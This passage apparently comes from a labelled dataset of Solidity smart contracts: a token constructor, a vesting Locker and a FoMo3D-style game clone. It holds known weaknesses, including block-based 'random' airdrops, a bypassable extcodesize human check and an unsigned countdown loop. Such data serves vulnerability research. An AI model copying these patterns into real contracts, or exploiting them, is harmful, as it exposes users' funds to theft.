constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 1 | 2,401 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
assert(token.transfer(to, value));
}
function safeTransferFrom(
ERC20 token,
address from,
address to,
uint256 value
)
internal
{
assert(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
assert(token.approve(spender, value));
}
}
contract Locker is Ownable {
using SafeMath for uint;
using SafeERC20 for ERC20Basic;
enum State { Init, Ready, Active, Drawn }
struct Beneficiary {
uint ratio;
uint withdrawAmount;
bool releaseAllTokens;
}
struct Release {
bool isStraight;
uint[] releaseTimes;
uint[] releaseRatios;
}
uint public activeTime;
ERC20Basic public token;
uint public coeff;
uint public initialBalance;
uint public withdrawAmount;
mapping (address => Beneficiary) public beneficiaries;
mapping (address => Release) public releases;
mapping (address => bool) public locked;
uint public numBeneficiaries;
uint public numLocks;
State public state;
modifier onlyState(State v) {
require(state == v);
_;
}
modifier onlyBeneficiary(address _addr) {
require(beneficiaries[_addr].ratio > 0);
_;
}
event StateChanged(State _state);
event Locked(address indexed _beneficiary, bool _isStraight);
event Released(address indexed _beneficiary, uint256 _amount);
function Locker(address _token, uint _coeff, address[] _beneficiaries, uint[] _ratios) public {
require(_token != address(0));
require(_beneficiaries.length == _ratios.length);
token = ERC20Basic(_token);
coeff = _coeff;
numBeneficiaries = _beneficiaries.length;
uint accRatio;
for(uint i = 0; i < numBeneficiaries; i++) {
require(_ratios[i] > 0);
beneficiaries[_beneficiaries[i]].ratio = _ratios[i];
accRatio = accRatio.add(_ratios[i]);
}
require(coeff == accRatio);
}
function activate() external onlyOwner onlyState(State.Ready) {
require(numLocks == numBeneficiaries);
initialBalance = token.balanceOf(this);
require(initialBalance > 0);
activeTime = now;
state = State.Active;
emit StateChanged(state);
}
function getReleaseType(address _beneficiary)
public
view
onlyBeneficiary(_beneficiary)
returns (bool)
{
return releases[_beneficiary].isStraight;
}
function getTotalLockedAmounts(address _beneficiary)
public
view
onlyBeneficiary(_beneficiary)
returns (uint)
{
return getPartialAmount(beneficiaries[_beneficiary].ratio, coeff, initialBalance);
}
function getReleaseTimes(address _beneficiary)
public
view
onlyBeneficiary(_beneficiary)
returns (uint[])
{
return releases[_beneficiary].releaseTimes;
}
function getReleaseRatios(address _beneficiary)
public
view
onlyBeneficiary(_beneficiary)
returns (uint[])
{
return releases[_beneficiary].releaseRatios;
}
function lock(address _beneficiary, bool _isStraight, uint[] _releaseTimes, uint[] _releaseRatios)
external
onlyOwner
onlyState(State.Init)
onlyBeneficiary(_beneficiary)
{
require(!locked[_beneficiary]);
require(_releaseRatios.length != 0);
require(_releaseRatios.length == _releaseTimes.length);
uint i;
uint len = _releaseRatios.length;
require(_releaseRatios[len - 1] == coeff);
for(i = 0; i < len - 1; i++) {
require(_releaseTimes[i] < _releaseTimes[i + 1]);
require(_releaseRatios[i] < _releaseRatios[i + 1]);
}
if (_isStraight) {
require(len == 2);
}
numLocks = numLocks.add(1);
releases[_beneficiary].isStraight = _isStraight;
releases[_beneficiary].releaseTimes = _releaseTimes;
releases[_beneficiary].releaseRatios = _releaseRatios;
locked[_beneficiary] = true;
emit Locked(_beneficiary, _isStraight);
if (numLocks == numBeneficiaries) {
state = State.Ready;
emit StateChanged(state);
}
}
function release() external onlyState(State.Active) onlyBeneficiary(msg.sender) {
require(!beneficiaries[msg.sender].releaseAllTokens);
uint releasableAmount = getReleasableAmount(msg.sender);
beneficiaries[msg.sender].withdrawAmount = beneficiaries[msg.sender].withdrawAmount.add(releasableAmount);
beneficiaries[msg.sender].releaseAllTokens = beneficiaries[msg.sender].withdrawAmount == getPartialAmount(
beneficiaries[msg.sender].ratio,
coeff,
initialBalance);
withdrawAmount = withdrawAmount.add(releasableAmount);
if (withdrawAmount == initialBalance) {
state = State.Drawn;
emit StateChanged(state);
}
token.transfer(msg.sender, releasableAmount);
emit Released(msg.sender, releasableAmount);
}
function getReleasableAmount(address _beneficiary) internal view returns (uint) {
if (releases[_beneficiary].isStraight) {
return getStraightReleasableAmount(_beneficiary);
} else {
return getVariableReleasableAmount(_beneficiary);
}
}
function getStraightReleasableAmount(address _beneficiary) internal view returns (uint releasableAmount) {
Beneficiary memory _b = beneficiaries[_beneficiary];
Release memory _r = releases[_beneficiary];
uint totalReleasableAmount = getTotalLockedAmounts(_beneficiary);
uint firstTime = _r.releaseTimes[0];
uint lastTime = _r.releaseTimes[1];
require(now >= firstTime);
if(now >= lastTime) {
releasableAmount = totalReleasableAmount;
} else {
uint firstAmount = getPartialAmount(
_r.releaseRatios[0],
coeff,
totalReleasableAmount);
releasableAmount = getPartialAmount(
now.sub(firstTime),
lastTime.sub(firstTime),
totalReleasableAmount.sub(firstAmount));
releasableAmount = releasableAmount.add(firstAmount);
}
releasableAmount = releasableAmount.sub(_b.withdrawAmount);
}
function getVariableReleasableAmount(address _beneficiary) internal view returns (uint releasableAmount) {
Beneficiary memory _b = beneficiaries[_beneficiary];
Release memory _r = releases[_beneficiary];
uint totalReleasableAmount = getTotalLockedAmounts(_beneficiary);
uint releaseRatio;
for(uint i = _r.releaseTimes.length - 1; i >= 0; i--) {
if (now >= _r.releaseTimes[i]) {
releaseRatio = _r.releaseRatios[i];
break;
}
}
require(releaseRatio > 0);
releasableAmount = getPartialAmount(
releaseRatio,
coeff,
totalReleasableAmount);
releasableAmount = releasableAmount.sub(_b.withdrawAmount);
}
function getPartialAmount(uint numerator, uint denominator, uint target) public pure returns (uint) {
return numerator.mul(target).div(denominator);
}
} | 1 | 2,574 |
pragma solidity ^0.4.24;
contract F3Devents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
event onPotSwapDeposit
(
uint256 roundID,
uint256 amountAddedToPot
);
}
contract modularShort is F3Devents {}
contract FoMo3Dshort is modularShort {
using SafeMath for *;
using NameFilter for string;
using F3DKeysCalcShort for uint256;
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0x8DDA1689A97a01f1BFE8b03AD4166C31df31A3B6);
address private admin = msg.sender;
string constant public name = "FOMO Youtuber";
string constant public symbol = "FYTR";
uint256 private rndExtra_ = 30 minutes;
uint256 private rndGap_ = 30 minutes;
uint256 constant private rndInit_ = 30 minutes;
uint256 constant private rndInc_ = 10 seconds;
uint256 constant private rndMax_ = 1 hours;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
uint256 public rID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => F3Ddatasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => F3Ddatasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
mapping (uint256 => F3Ddatasets.TeamFee) public fees_;
mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_;
constructor()
public
{
fees_[0] = F3Ddatasets.TeamFee(30,6);
fees_[1] = F3Ddatasets.TeamFee(43,0);
fees_[2] = F3Ddatasets.TeamFee(56,10);
fees_[3] = F3Ddatasets.TeamFee(43,8);
potSplit_[0] = F3Ddatasets.PotSplit(15,10);
potSplit_[1] = F3Ddatasets.PotSplit(25,0);
potSplit_[2] = F3Ddatasets.PotSplit(20,20);
potSplit_[3] = F3Ddatasets.PotSplit(30,10);
}
modifier isActivated() {
require(activated_ == true, "its not ready yet. check ?eta in discord");
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
F3Ddatasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 75000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
return
(
round_[_rID].ico,
_rID,
round_[_rID].keys,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3],
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
} else {
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_rID, _pID, _eth, _affID, _team, _eventData_);
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000)
{
uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth);
uint256 _refund = _eth.sub(_availableLimit);
plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
_eth = _availableLimit;
}
if (_eth > 1000000000)
{
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
uint256 _prize;
if (_eth >= 10000000000000000000)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
}
_eventData_.compressedData += 10000000000000000000000000000000;
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
airDropTracker_ = 0;
}
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(48)) / 100;
uint256 _com = (_pot / 50);
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d);
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
admin.transfer(_com);
admin.transfer(_p3d.sub(_p3d / 2));
round_[_rID].pot = _pot.add(_p3d / 2);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.P3DAmount = _p3d;
_eventData_.newPot = _res;
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot = _res;
return(_eventData_);
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
